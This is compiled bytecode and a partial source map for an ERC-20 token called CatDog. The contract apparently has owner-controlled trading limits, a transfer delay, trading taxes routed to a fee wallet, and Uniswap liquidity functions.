0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063bcdb446b11610064578063bcdb446b146102e2578063bf474bed146102f7578063c876d0b91461030c578063c9567bf914610321578063dd62ed3e146103365761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b41146102985780639e78fb4f146102ad578063a9059cbb146102c25761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b60405161015191906115aa565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046114a5565b610376565b604051610151919061159f565b34801561019357600080fd5b5061019c610394565b60405161015191906118de565b3480156101b557600080fd5b5061019c61039a565b3480156101ca57600080fd5b5061017a6101d9366004611465565b6103bb565b3480156101ea57600080fd5b506101f3610443565b6040516101519190611957565b34801561020c57600080fd5b5061019c61021b3660046113f5565b610448565b34801561022c57600080fd5b50610235610463565b005b34801561024357600080fd5b506102356104eb565b34801561025857600080fd5b5061019c61056f565b34801561026d57600080fd5b50610276610575565b604051610151919061151d565b34801561028f57600080fd5b5061019c610584565b3480156102a457600080fd5b5061014461058a565b3480156102b957600080fd5b506102356105aa565b3480156102ce57600080fd5b5061017a6102dd3660046114a5565b6107dc565b3480156102ee57600080fd5b506102356107f0565b34801561030357600080fd5b5061019c610830565b34801561031857600080fd5b5061017a610836565b34801561032d57600080fd5b5061023561083f565b34801561034257600080fd5b5061019c61035136600461142d565b6109ea565b604080518082019091526006815265436174446f6760d01b602082015290565b600061038a610383610a15565b8484610a19565b5060015b92915050565b60125481565b60006103a86009600a6119e3565b6103b690633b9aca00611ab4565b905090565b60006103c8848484610acd565b610438846103d4610a15565b61043385604051806060016040528060288152602001611b34602891396001600160a01b038a16600090815260026020526040812090610412610a15565b6001600160a01b031681526020810191909152604001600020549190610de3565b610a19565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61046b610a15565b6000546001600160a01b039081169116146104a15760405162461bcd60e51b815260040161049890611769565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104f3610a15565b6000546001600160a01b039081169116146105205760405162461bcd60e51b815260040161049890611769565b600019600f81905560108190556006805460ff191690556040517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf91610565916118de565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b604080518082019091526006815265434154444f4760d01b602082015290565b6105b2610a15565b6000546001600160a01b039081169116146105df5760405162461bcd60e51b815260040161049890611769565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106309030906001600160a01b03166106226009600a6119e3565b61043390633b9aca00611ab4565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561067e57600080fd5b505afa158015610692573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b69190611411565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071357600080fd5b505afa158015610727573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074b9190611411565b6040518363ffffffff1660e01b8152600401610768929190611531565b602060405180830381600087803b15801561078257600080fd5b505af1158015610796573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ba9190611411565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b600061038a6107e9610a15565b8484610acd565b6107f8610a15565b6000546001600160a01b039081169116146108255760405162461bcd60e51b815260040161049890611769565b61082e47610e1d565b565b60115481565b60065460ff1681565b610847610a15565b6000546001600160a01b039081169116146108745760405162461bcd60e51b815260040161049890611769565b601454600160a01b900460ff161561089e5760405162461bcd60e51b8152600401610498906118a7565b6013546001600160a01b031663f305d71947306108ba81610448565b6000806108c5610575565b426040518863ffffffff1660e01b81526004016108e796959493929190611564565b6060604051808303818588803b15801561090057600080fd5b505af1158015610914573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093991906114f0565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109739216906000199060040161154b565b602060405180830381600087803b15801561098d57600080fd5b505af11580156109a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c591906114d0565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610a3f5760405162461bcd60e51b815260040161049890611863565b6001600160a01b038216610a655760405162461bcd60e51b815260040161049890611677565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ac09085906118de565b60405180910390a3505050565b6001600160a01b038316610af35760405162461bcd60e51b8152600401610498906117e7565b6001600160a01b038216610b195760405162461bcd60e51b8152600401610498906115fd565b60008111610b395760405162461bcd60e51b81526004016104989061179e565b601454600160b01b900460ff161580610b5b5750601454600160a81b900460ff165b15610b7057610b6b838383610e5f565b610dde565b610b78610575565b6001600160a01b0316836001600160a01b031614158015610bb25750610b9c610575565b6001600160a01b0316826001600160a01b031614155b15610dd35760065460ff1615610c34576013546001600160a01b03838116911614801590610bee57506014546001600160a01b03838116911614155b15610c3457326000908152600560205260409020544311610c215760405162461bcd60e51b8152600401610498906116b9565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610c5f57506013546001600160a01b03838116911614155b8015610c8457506001600160a01b03821660009081526003602052604090205460ff16155b15610cf657600f54811115610cab5760405162461bcd60e51b815260040161049890611640565b60105481610cb884610448565b610cc29190611965565b1115610ce05760405162461bcd60e51b81526004016104989061182c565b600e8054906000610cf083611aea565b91905055505b6000610d0130610448565b601454909150600160a81b900460ff16158015610d2b57506014546001600160a01b038481169116145b8015610d405750601454600160b01b900460ff165b8015610d4f5750600d54600e54115b8015610d7457506001600160a01b03841660009081526003602052604090205460ff16155b8015610d9957506001600160a01b03831660009081526003602052604090205460ff16155b15610dd157601154811115610dc557610dc5610dc083610dbb84601254610f05565b610f05565b610f1a565b47610dcf47610e1d565b505b505b610dde8383836110bf565b505050565b60008184841115610e075760405162461bcd60e51b815260040161049891906115aa565b506000610e148486611ad3565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610e5b573d6000803e3d6000fd5b5050565b6001600160a01b038316600090815260016020526040902054610e83908290611ad3565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610eb3908290611965565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac09085906118de565b6000818311610f14578261043c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fc457600080fd5b505afa158015610fd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffc9190611411565b8160018151811061101d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546110439130911684610a19565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061107c9085906000908690309042906004016118e7565b600060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000808060006110d1878787876111f8565b9194509250905082156111485730600090815260016020526040812080548592906110fd908490611965565b909155505060405130906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113f9087906118de565b60405180910390a35b6001600160a01b03871660009081526001602052604081208054849290611170908490611ad3565b90915550506001600160a01b0386166000908152600160205260408120805483929061119d908490611965565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111e791906118de565b60405180910390a350505050505050565b6000806000806000905061122e6064611228600b54600e541161121d57600754611221565b6009545b89906112b6565b906112fb565b905061123a888661133d565b6014549095506001600160a01b03888116911614801561126357506001600160a01b0388163014155b156112905761128d6064611228600c54600e541161128357600854611221565b600a5489906112b6565b90505b8061129b87876112b6565b6112a58884611385565b935093509350509450945094915050565b6000826112c55750600061038e565b60006112d18385611ab4565b9050826112de858361197d565b1461043c5760405162461bcd60e51b815260040161049890611728565b600061043c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c7565b6001600160a01b038216600081815260036020526040812054909160ff9091169030141581801561136b5750805b1561137a57839250505061038e565b610e14846001611965565b600061043c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610de3565b600081836113e85760405162461bcd60e51b815260040161049891906115aa565b506000610e14848661197d565b600060208284031215611406578081fd5b813561043c81611b1b565b600060208284031215611422578081fd5b815161043c81611b1b565b6000806040838503121561143f578081fd5b823561144a81611b1b565b9150602083013561145a81611b1b565b809150509250929050565b600080600060608486031215611479578081fd5b833561148481611b1b565b9250602084013561149481611b1b565b929592945050506040919091013590565b600080604083850312156114b7578182fd5b82356114c281611b1b565b946020939093013593505050565b6000602082840312156114e1578081fd5b8151801515811461043c578182fd5b600080600060608486031215611504578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115d6578581018301518582016040015282016115ba565b818111156115e75783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119365784516001600160a01b031683529383019391830191600101611911565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561197857611978611b05565b500190565b60008261199857634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119af57506119da565b8187048211156119c1576119c1611b05565b808616156119ce57918102915b9490941c9380026119a0565b94509492505050565b600061043c60001960ff8516846000826119ff5750600161043c565b81611a0c5750600061043c565b8160018114611a225760028114611a2c57611a59565b600191505061043c565b60ff841115611a3d57611a3d611b05565b6001841b915084821115611a5357611a53611b05565b5061043c565b5060208310610133831016604e8410600b8410161715611a8c575081810a83811115611a8757611a87611b05565b61043c565b611a99848484600161199d565b808604821115611aab57611aab611b05565b02949350505050565b6000816000190483118215151615611ace57611ace611b05565b500290565b600082821015611ae557611ae5611b05565b500390565b6000600019821415611afe57611afe611b05565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b3057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c10d3fa38d88d84ad5d3edafa24c22ecb18ac3c904b2171c8889cb6c6a9351f64736f6c63430008000033

Deployed Bytecode Sourcemap

3942:10062:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5923:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6804:186;;;;;;;;;;-1:-1:-1;6804:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5164:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6200:95::-;;;;;;;;;;;;;:::i;6998:446::-;;;;;;;;;;-1:-1:-1;6998:446:0;;;;;:::i;:::-;;:::i;6109:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6303:119::-;;;;;;;;;;-1:-1:-1;6303:119:0;;;;;:::i;:::-;;:::i;2973:148::-;;;;;;;;;;;;;:::i;:::-;;12648:213;;;;;;;;;;;;;:::i;4973:56::-;;;;;;;;;;;;;:::i;2759:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5036:58::-;;;;;;;;;;;;;:::i;6014:87::-;;;;;;;;;;;;;:::i;12969:391::-;;;;;;;;;;;;;:::i;6430:192::-;;;;;;;;;;-1:-1:-1;6430:192:0;;;;;:::i;:::-;;:::i;13368:95::-;;;;;;;;;;;;;:::i;5101:56::-;;;;;;;;;;;;;:::i;4325:40::-;;;;;;;;;;;;;:::i;13508:493::-;;;;;;;;;;;;;:::i;6630:168::-;;;;;;;;;;-1:-1:-1;6630:168:0;;;;;:::i;:::-;;:::i;5923:83::-;5993:5;;;;;;;;;;;;-1:-1:-1;;;5993:5:0;;;;5923:83;:::o;6804:186::-;6904:4;6921:39;6930:12;:10;:12::i;:::-;6944:7;6953:6;6921:8;:39::i;:::-;-1:-1:-1;6978:4:0;6804:186;;;;;:::o;5164:55::-;;;;:::o;6200:95::-;6253:7;4841:15;4785:1;4841:2;:15;:::i;:::-;4828:28;;:10;:28;:::i;:::-;6273:14;;6200:95;:::o;6998:446::-;7130:4;7147:36;7157:6;7165:9;7176:6;7147:9;:36::i;:::-;7194:220;7217:6;7238:12;:10;:12::i;:::-;7265:138;7321:6;7265:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7265:19:0;;;;;;:11;:19;;;;;;7285:12;:10;:12::i;:::-;-1:-1:-1;;;;;7265:33:0;;;;;;;;;;;;-1:-1:-1;7265:33:0;;;:138;:37;:138::i;:::-;7194:8;:220::i;:::-;-1:-1:-1;7432:4:0;6998:446;;;;;;:::o;6109:83::-;4785:1;6109:83;:::o;6303:119::-;-1:-1:-1;;;;;6396:18:0;6369:7;6396:18;;;:9;:18;;;;;;;6303:119::o;2973:148::-;2896:12;:10;:12::i;:::-;2886:6;;-1:-1:-1;;;;;2886:6:0;;;:22;;;2878:67;;;;-1:-1:-1;;;2878:67:0;;;;;;;:::i;:::-;;;;;;;;;3080:1:::1;3064:6:::0;;3043:40:::1;::::0;-1:-1:-1;;;;;3064:6:0;;::::1;::::0;3043:40:::1;::::0;3080:1;;3043:40:::1;3111:1;3094:19:::0;;-1:-1:-1;;;;;;3094:19:0::1;::::0;;2973:148::o;12648:213::-;2896:12;:10;:12::i;:::-;2886:6;;-1:-1:-1;;;;;2886:6:0;;;:22;;;2878:67;;;;-1:-1:-1;;;2878:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12702:12:0::1;:26:::0;;;12739:14:::1;:28:::0;;;12778:20:::1;:28:::0;;-1:-1:-1;;12778:28:0::1;::::0;;12822:31:::1;::::0;::::1;::::0;::::1;::::0;::::1;:::i;:::-;;;;;;;;12648:213::o:0;4973:56::-;;;;:::o;2759:79::-;2797:7;2824:6;-1:-1:-1;;;;;2824:6:0;2759:79;:::o;5036:58::-;;;;:::o;6014:87::-;6086:7;;;;;;;;;;;;-1:-1:-1;;;6086:7:0;;;;6014:87;:::o;12969:391::-;2896:12;:10;:12::i;:::-;2886:6;;-1:-1:-1;;;;;2886:6:0;;;:22;;;2878:67;;;;-1:-1:-1;;;2878:67:0;;;;;;;:::i;:::-;13021:15:::1;:104:::0;;-1:-1:-1;;;;;;13021:104:0::1;13072:42;13021:104;::::0;;;;13136:58:::1;::::0;13153:4:::1;::::0;-1:-1:-1;;;;;13168:15:0::1;4841;4785:1;4841:2;:15;:::i;:::-;4828:28;::::0;:10:::1;:28;:::i;13136:58::-;13239:15;;;;;;;;;-1:-1:-1::0;;;;;13239:15:0::1;-1:-1:-1::0;;;;;13239:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13221:55:0::1;;13299:4;13319:15;;;;;;;;;-1:-1:-1::0;;;;;13319:15:0::1;-1:-1:-1::0;;;;;13319:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13221:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13205:13;:147:::0;;-1:-1:-1;;;;;;13205:147:0::1;-1:-1:-1::0;;;;;13205:147:0;;;::::1;::::0;;;::::1;::::0;;12969:391::o;6430:192::-;6533:4;6550:42;6560:12;:10;:12::i;:::-;6574:9;6585:6;6550:9;:42::i;13368:95::-;2896:12;:10;:12::i;:::-;2886:6;;-1:-1:-1;;;;;2886:6:0;;;:22;;;2878:67;;;;-1:-1:-1;;;2878:67:0;;;;;;;:::i;:::-;13420:35:::1;13433:21;13420:12;:35::i;:::-;13368:95::o:0;5101:56::-;;;;:::o;4325:40::-;;;;;;:::o;13508:493::-;2896:12;:10;:12::i;:::-;2886:6;;-1:-1:-1;;;;;2886:6:0;;;:22;;;2878:67;;;;-1:-1:-1;;;2878:67:0;;;;;;;:::i;:::-;13570:11:::1;::::0;-1:-1:-1;;;13570:11:0;::::1;;;13569:12;13561:48;;;;-1:-1:-1::0;;;13561:48:0::1;;;;;;;:::i;:::-;13630:15;::::0;-1:-1:-1;;;;;13630:15:0::1;:31;13669:21;13714:4;13734:24;13714:4:::0;13734:9:::1;:24::i;:::-;13773:1;13789::::0;13805:7:::1;:5;:7::i;:::-;13827:15;13630:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13871:13:0::1;::::0;13902:15:::1;::::0;13864:71:::1;::::0;-1:-1:-1;;;13864:71:0;;-1:-1:-1;;;;;13871:13:0;;::::1;::::0;-1:-1:-1;13864:29:0::1;::::0;:71:::1;::::0;13902:15:::1;::::0;-1:-1:-1;;13920:14:0;13864:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13946:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;13946:18:0;;::::1;-1:-1:-1::0;;;13946:18:0::1;13975;-1:-1:-1::0;;;13975:18:0::1;::::0;;13508:493::o;6630:168::-;-1:-1:-1;;;;;6763:18:0;;;6736:7;6763:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6630:168::o;306:98::-;386:10;306:98;:::o;7452:335::-;-1:-1:-1;;;;;7545:19:0;;7537:68;;;;-1:-1:-1;;;7537:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7624:21:0;;7616:68;;;;-1:-1:-1;;;7616:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7695:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7747:32;;;;;7725:6;;7747:32;:::i;:::-;;;;;;;;7452:335;;;:::o;8362:2318::-;-1:-1:-1;;;;;8450:18:0;;8442:68;;;;-1:-1:-1;;;8442:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8529:16:0;;8521:64;;;;-1:-1:-1;;;8521:64:0;;;;;;;:::i;:::-;8613:1;8604:6;:10;8596:64;;;;-1:-1:-1;;;8596:64:0;;;;;;;:::i;:::-;8678:11;;-1:-1:-1;;;8678:11:0;;;;8677:12;;:22;;-1:-1:-1;8693:6:0;;-1:-1:-1;;;8693:6:0;;;;8677:22;8673:108;;;8716:32;8731:4;8737:2;8741:6;8716:14;:32::i;:::-;8763:7;;8673:108;8805:7;:5;:7::i;:::-;-1:-1:-1;;;;;8797:15:0;:4;-1:-1:-1;;;;;8797:15:0;;;:32;;;;;8822:7;:5;:7::i;:::-;-1:-1:-1;;;;;8816:13:0;:2;-1:-1:-1;;;;;8816:13:0;;;8797:32;8793:1835;;;8850:20;;;;8846:522;;;8931:15;;-1:-1:-1;;;;;8917:30:0;;;8931:15;;8917:30;;;;:83;;-1:-1:-1;8986:13:0;;-1:-1:-1;;;;;8972:28:0;;;8986:13;;8972:28;;8917:83;8891:462;;;9106:9;9077:39;;;;:28;:39;;;;;;9119:12;-1:-1:-1;9043:213:0;;;;-1:-1:-1;;;9043:213:0;;;;;;;:::i;:::-;9308:9;9279:39;;;;:28;:39;;;;;9321:12;9279:54;;8891:462;9414:13;;-1:-1:-1;;;;;9406:21:0;;;9414:13;;9406:21;:72;;;;-1:-1:-1;9462:15:0;;-1:-1:-1;;;;;9448:30:0;;;9462:15;;9448:30;;9406:72;:116;;;;-1:-1:-1;;;;;;9500:22:0;;;;;;:18;:22;;;;;;;;9499:23;9406:116;9384:438;;;9575:12;;9565:6;:22;;9557:60;;;;-1:-1:-1;;;9557:60:0;;;;;;;:::i;:::-;9692:14;;9682:6;9666:13;9676:2;9666:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9636:140;;;;-1:-1:-1;;;9636:140:0;;;;;;;:::i;:::-;9795:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9384:438;9838:28;9869:24;9887:4;9869:9;:24::i;:::-;9931:6;;9838:55;;-1:-1:-1;;;;9931:6:0;;;;9930:7;:47;;;;-1:-1:-1;9964:13:0;;-1:-1:-1;;;;;9958:19:0;;;9964:13;;9958:19;9930:47;:79;;;;-1:-1:-1;9998:11:0;;-1:-1:-1;;;9998:11:0;;;;9930:79;:130;;;;;10042:18;;10030:9;;:30;9930:130;:176;;;;-1:-1:-1;;;;;;10082:24:0;;;;;;:18;:24;;;;;;;;10081:25;9930:176;:220;;;;-1:-1:-1;;;;;;10128:22:0;;;;;;:18;:22;;;;;;;;10127:23;9930:220;9908:709;;;10211:17;;10188:20;:40;10185:205;;;10253:117;10296:51;10300:6;10308:38;10312:20;10334:11;;10308:3;:38::i;:::-;10296:3;:51::i;:::-;10253:16;:117::i;:::-;10455:21;10547:35;10560:21;10547:12;:35::i;:::-;9908:709;;8793:1835;;10640:32;10655:4;10661:2;10665:6;10640:14;:32::i;:::-;8362:2318;;;:::o;1561:224::-;1681:7;1717:12;1709:6;;;;1701:29;;;;-1:-1:-1;;;1701:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1741:9:0;1753:5;1757:1;1753;:5;:::i;:::-;1741:17;1561:224;-1:-1:-1;;;;;1561:224:0:o;12869:92::-;12926:10;;:27;;:10;;;;-1:-1:-1;;;;;12926:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12869:92;:::o;11807:227::-;-1:-1:-1;;;;;11911:15:0;;;;;;:9;:15;;;;;;:24;;11929:6;;11911:24;:::i;:::-;-1:-1:-1;;;;;11893:15:0;;;;;;;:9;:15;;;;;;:42;;;;11962:13;;;;;;;:22;;11978:6;;11962:22;:::i;:::-;-1:-1:-1;;;;;11946:13:0;;;;;;;:9;:13;;;;;;;:38;;;;12000:26;;;;;;;;;;12019:6;;12000:26;:::i;12042:107::-;12099:7;12131:1;12127;:5;12126:15;;12140:1;12126:15;;;-1:-1:-1;12136:1:0;12119:22;-1:-1:-1;12042:107:0:o;12157:483::-;5503:6;:13;;-1:-1:-1;;;;5503:13:0;-1:-1:-1;;;5503:13:0;;;12259:16:::1;::::0;;12273:1:::1;12259:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12259:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12259:16:0::1;12235:40;;12304:4;12286;12291:1;12286:7;;;;;;-1:-1:-1::0;;;12286:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12286:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12330:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12330:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12286:7;;12330:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12320:4;12325:1;12320:7;;;;;;-1:-1:-1::0;;;12320:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12320:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12395:15:::1;::::0;12363:62:::1;::::0;12380:4:::1;::::0;12395:15:::1;12413:11:::0;12363:8:::1;:62::i;:::-;12436:15;::::0;:196:::1;::::0;-1:-1:-1;;;12436:196:0;;-1:-1:-1;;;;;12436:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12517:11;;12436:15:::1;::::0;12559:4;;12586::::1;::::0;12606:15:::1;::::0;12436:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5539:6:0;:14;;-1:-1:-1;;;;5539:14:0;;;-1:-1:-1;;;;12157:483:0:o;7795:559::-;7893:17;7940:11;7966:15;7996;8025:51;8036:6;8044:7;8053:11;8066:9;8025:10;:51::i;:::-;7925:151;;-1:-1:-1;7925:151:0;-1:-1:-1;7925:151:0;-1:-1:-1;8093:7:0;;8089:127;;8135:4;8117:24;;;;:9;:24;;;;;:31;;8145:3;;8117:24;:31;;8145:3;;8117:31;:::i;:::-;;;;-1:-1:-1;;8168:36:0;;8193:4;;-1:-1:-1;;;;;8168:36:0;;;;;;;8200:3;;8168:36;:::i;:::-;;;;;;;;8089:127;-1:-1:-1;;;;;8228:17:0;;;;;;:9;:17;;;;;:28;;8249:7;;8228:17;:28;;8249:7;;8228:28;:::i;:::-;;;;-1:-1:-1;;;;;;;8267:18:0;;;;;;:9;:18;;;;;:29;;8289:7;;8267:18;:29;;8289:7;;8267:29;:::i;:::-;;;;;;;;8329:7;-1:-1:-1;;;;;8312:34:0;8321:6;-1:-1:-1;;;;;8312:34:0;;8338:7;8312:34;;;;;;:::i;:::-;;;;;;;;7795:559;;;;;;;:::o;10688:830::-;10837:7;10846;10855;10875:17;10895:1;10875:21;;10920:161;11077:3;10920:142;10969:15;;10957:9;;:27;10956:95;;11037:14;;10956:95;;;11005:12;;10956:95;10920:7;;:21;:142::i;:::-;:156;;:161::i;:::-;10908:173;;11098:25;11111:6;11119:3;11098:12;:25::i;:::-;11149:13;;11092:31;;-1:-1:-1;;;;;;11138:24:0;;;11149:13;;11138:24;:51;;;;-1:-1:-1;;;;;;11166:23:0;;11184:4;11166:23;;11138:51;11134:308;;;11218:212;11426:3;11218:185;11283:16;;11271:9;;:28;11270:114;;11369:15;;11270:114;;;11328:13;;11218:7;;:29;:185::i;:212::-;11206:224;;11134:308;11460:9;11470:16;:7;11482:3;11470:11;:16::i;:::-;11487:22;:7;11499:9;11487:11;:22::i;:::-;11452:58;;;;;;;10688:830;;;;;;;;:::o;1793:246::-;1851:7;1875:6;1871:47;;-1:-1:-1;1905:1:0;1898:8;;1871:47;1928:9;1940:5;1944:1;1940;:5;:::i;:::-;1928:17;-1:-1:-1;1973:1:0;1964:5;1968:1;1928:17;1964:5;:::i;:::-;:10;1956:56;;;;-1:-1:-1;;;1956:56:0;;;;;;;:::i;2047:132::-;2105:7;2132:39;2136:1;2139;2132:39;;;;;;;;;;;;;;;;;:3;:39::i;11530:269::-;-1:-1:-1;;;;;11640:25:0;;11602:7;11640:25;;;:18;:25;;;;;;11602:7;;11640:25;;;;;11710:4;11693:22;;11640:25;11729:23;;;;;11743:9;11729:23;11726:39;;;11761:4;11754:11;;;;;;11726:39;11783:8;:4;11790:1;11783:8;:::i;1417:136::-;1475:7;1502:43;1506:1;1509;1502:43;;;;;;;;;;;;;;;;;:3;:43::i;2187:223::-;2307:7;2342:12;2335:5;2327:28;;;;-1:-1:-1;;;2327:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2366:9:0;2378:5;2382:1;2378;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7